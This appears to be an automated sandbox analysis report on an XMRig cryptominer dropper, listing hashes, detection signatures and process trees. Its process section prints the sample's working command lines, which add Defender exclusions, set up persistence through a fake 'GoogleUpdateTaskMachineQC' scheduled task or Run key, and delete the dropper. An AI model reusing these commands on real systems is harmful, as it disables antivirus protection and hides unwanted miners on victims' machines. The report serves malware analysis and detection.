Overview
overview
10Static
static
3QNREJhVYDhHk52cq3.exe
windows7-x64
10QNREJhVYDhHk52cq3.exe
windows10-2004-x64
10RmJBfzgfbWELMdgn.exe
windows7-x64
10RmJBfzgfbWELMdgn.exe
windows10-2004-x64
10TTVw7dDmSpz5mwee.exe
windows7-x64
10TTVw7dDmSpz5mwee.exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10qM5GMXBk6h...9).exe
windows7-x64
10qM5GMXBk6h...9).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...3).exe
windows7-x64
10qM5GMXBk6h...3).exe
windows10-2004-x64
10qM5GMXBk6h...4).exe
windows7-x64
10qM5GMXBk6h...4).exe
windows10-2004-x64
10qM5GMXBk6h...5).exe
windows7-x64
10qM5GMXBk6h...5).exe
windows10-2004-x64
10qM5GMXBk6h...7).exe
windows7-x64
10qM5GMXBk6h...7).exe
windows10-2004-x64
10qM5GMXBk6h...8).exe
windows7-x64
10qM5GMXBk6h...8).exe
windows10-2004-x64
10qM5GMXBk6h...6).exe
windows7-x64
10qM5GMXBk6h...6).exe
windows10-2004-x64
10Resubmissions
16/01/2024, 20:08
240116-yw2hnahhck 1024/12/2023, 12:16
231224-pfpz9abhcp 1028/08/2023, 15:19
230828-sqmvesca87 1026/08/2023, 15:20
230826-sqz5radd21 1020/08/2023, 00:19
230820-amltvacg48 1020/08/2023, 00:19
230820-amkxjscg46 1020/08/2023, 00:18
230820-al4y2aec9v 1020/08/2023, 00:18
230820-al4m9scg45 1020/08/2023, 00:18
230820-al32qscg44 1020/08/2023, 00:18
230820-al3e7sec9t 10Analysis
-
max time kernel
1800s -
max time network
1810s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
24/12/2023, 12:16
Static task
static1
Behavioral task
behavioral1
Sample
QNREJhVYDhHk52cq3.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
QNREJhVYDhHk52cq3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
RmJBfzgfbWELMdgn.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
RmJBfzgfbWELMdgn.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
TTVw7dDmSpz5mwee.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
TTVw7dDmSpz5mwee.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
qM5GMXBk6hJE6Y5e (4).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
qM5GMXBk6hJE6Y5e(13).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
qM5GMXBk6hJE6Y5e(14).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
qM5GMXBk6hJE6Y5e(15).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
qM5GMXBk6hJE6Y5e(17).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
qM5GMXBk6hJE6Y5e(18).exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
qM5GMXBk6hJE6Y5e(6).exe
Resource
win7-20231215-en
General
-
Target
qM5GMXBk6hJE6Y5e(13).exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2076 created 3368 2076 qM5GMXBk6hJE6Y5e(13).exe 44 PID 2076 created 3368 2076 qM5GMXBk6hJE6Y5e(13).exe 44 PID 2076 created 3368 2076 qM5GMXBk6hJE6Y5e(13).exe 44 PID 2076 created 3368 2076 qM5GMXBk6hJE6Y5e(13).exe 44 PID 2616 created 3368 2616 updater.exe 44 PID 2616 created 3368 2616 updater.exe 44 PID 2616 created 3368 2616 updater.exe 44 PID 2616 created 3368 2616 updater.exe 44 PID 3456 created 3368 3456 conhost.exe 44 PID 2616 created 3368 2616 updater.exe 44 -
XMRig Miner payload 27 IoCs
resource yara_rule behavioral14/memory/1444-132-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-136-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-138-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-139-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-143-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-145-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-147-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-149-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-151-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-153-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-155-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-157-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-159-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-164-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-166-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-168-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-170-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-172-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-174-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-176-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-178-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-180-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-182-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-184-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-186-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-188-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig behavioral14/memory/1444-190-0x00007FF75B980000-0x00007FF75C174000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 2616 updater.exe -
resource yara_rule behavioral14/memory/1444-129-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-132-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-136-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-138-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-139-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-143-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-145-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-147-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-149-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-151-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-153-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-155-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-157-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-159-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-164-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-166-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-168-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-170-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-172-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-174-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-176-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-178-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-180-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-182-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-184-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-186-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-188-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx behavioral14/memory/1444-190-0x00007FF75B980000-0x00007FF75C174000-memory.dmp upx -
Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2616 set thread context of 3456 2616 updater.exe 117 PID 2616 set thread context of 1444 2616 updater.exe 123 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e(13).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4004 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 2076 qM5GMXBk6hJE6Y5e(13).exe 2076 qM5GMXBk6hJE6Y5e(13).exe 1788 powershell.exe 1788 powershell.exe 2076 qM5GMXBk6hJE6Y5e(13).exe 2076 qM5GMXBk6hJE6Y5e(13).exe 4780 powershell.exe 4780 powershell.exe 4780 powershell.exe 2076 qM5GMXBk6hJE6Y5e(13).exe 2076 qM5GMXBk6hJE6Y5e(13).exe 2076 qM5GMXBk6hJE6Y5e(13).exe 2076 qM5GMXBk6hJE6Y5e(13).exe 2308 powershell.exe 2308 powershell.exe 2308 powershell.exe 2616 updater.exe 2616 updater.exe 4648 powershell.exe 4648 powershell.exe 4648 powershell.exe 2616 updater.exe 2616 updater.exe 3956 powershell.exe 3956 powershell.exe 3956 powershell.exe 2616 updater.exe 2616 updater.exe 3456 conhost.exe 2616 updater.exe 3456 conhost.exe 2616 updater.exe 2616 updater.exe 2616 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 668 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1788 powershell.exe Token: SeDebugPrivilege 4780 powershell.exe Token: SeIncreaseQuotaPrivilege 4780 powershell.exe Token: SeSecurityPrivilege 4780 powershell.exe Token: SeTakeOwnershipPrivilege 4780 powershell.exe Token: SeLoadDriverPrivilege 4780 powershell.exe Token: SeSystemProfilePrivilege 4780 powershell.exe Token: SeSystemtimePrivilege 4780 powershell.exe Token: SeProfSingleProcessPrivilege 4780 powershell.exe Token: SeIncBasePriorityPrivilege 4780 powershell.exe Token: SeCreatePagefilePrivilege 4780 powershell.exe Token: SeBackupPrivilege 4780 powershell.exe Token: SeRestorePrivilege 4780 powershell.exe Token: SeShutdownPrivilege 4780 powershell.exe Token: SeDebugPrivilege 4780 powershell.exe Token: SeSystemEnvironmentPrivilege 4780 powershell.exe Token: SeRemoteShutdownPrivilege 4780 powershell.exe Token: SeUndockPrivilege 4780 powershell.exe Token: SeManageVolumePrivilege 4780 powershell.exe Token: 33 4780 powershell.exe Token: 34 4780 powershell.exe Token: 35 4780 powershell.exe Token: 36 4780 powershell.exe Token: SeIncreaseQuotaPrivilege 4780 powershell.exe Token: SeSecurityPrivilege 4780 powershell.exe Token: SeTakeOwnershipPrivilege 4780 powershell.exe Token: SeLoadDriverPrivilege 4780 powershell.exe Token: SeSystemProfilePrivilege 4780 powershell.exe Token: SeSystemtimePrivilege 4780 powershell.exe Token: SeProfSingleProcessPrivilege 4780 powershell.exe Token: SeIncBasePriorityPrivilege 4780 powershell.exe Token: SeCreatePagefilePrivilege 4780 powershell.exe Token: SeBackupPrivilege 4780 powershell.exe Token: SeRestorePrivilege 4780 powershell.exe Token: SeShutdownPrivilege 4780 powershell.exe Token: SeDebugPrivilege 4780 powershell.exe Token: SeSystemEnvironmentPrivilege 4780 powershell.exe Token: SeRemoteShutdownPrivilege 4780 powershell.exe Token: SeUndockPrivilege 4780 powershell.exe Token: SeManageVolumePrivilege 4780 powershell.exe Token: 33 4780 powershell.exe Token: 34 4780 powershell.exe Token: 35 4780 powershell.exe Token: 36 4780 powershell.exe Token: SeIncreaseQuotaPrivilege 4780 powershell.exe Token: SeSecurityPrivilege 4780 powershell.exe Token: SeTakeOwnershipPrivilege 4780 powershell.exe Token: SeLoadDriverPrivilege 4780 powershell.exe Token: SeSystemProfilePrivilege 4780 powershell.exe Token: SeSystemtimePrivilege 4780 powershell.exe Token: SeProfSingleProcessPrivilege 4780 powershell.exe Token: SeIncBasePriorityPrivilege 4780 powershell.exe Token: SeCreatePagefilePrivilege 4780 powershell.exe Token: SeBackupPrivilege 4780 powershell.exe Token: SeRestorePrivilege 4780 powershell.exe Token: SeShutdownPrivilege 4780 powershell.exe Token: SeDebugPrivilege 4780 powershell.exe Token: SeSystemEnvironmentPrivilege 4780 powershell.exe Token: SeRemoteShutdownPrivilege 4780 powershell.exe Token: SeUndockPrivilege 4780 powershell.exe Token: SeManageVolumePrivilege 4780 powershell.exe Token: 33 4780 powershell.exe Token: 34 4780 powershell.exe Token: 35 4780 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4308 wrote to memory of 116 4308 cmd.exe 107 PID 4308 wrote to memory of 116 4308 cmd.exe 107 PID 2308 wrote to memory of 3324 2308 powershell.exe 108 PID 2308 wrote to memory of 3324 2308 powershell.exe 108 PID 2616 wrote to memory of 3456 2616 updater.exe 117 PID 4076 wrote to memory of 4004 4076 cmd.exe 120 PID 4076 wrote to memory of 4004 4076 cmd.exe 120 PID 2616 wrote to memory of 1444 2616 updater.exe 123 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(13).exe"C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(13).exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2076
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3368
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1788
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4780
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e(13).exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4308 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:116
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2308 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:3324
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4648
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3956
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3456
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4076
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1696
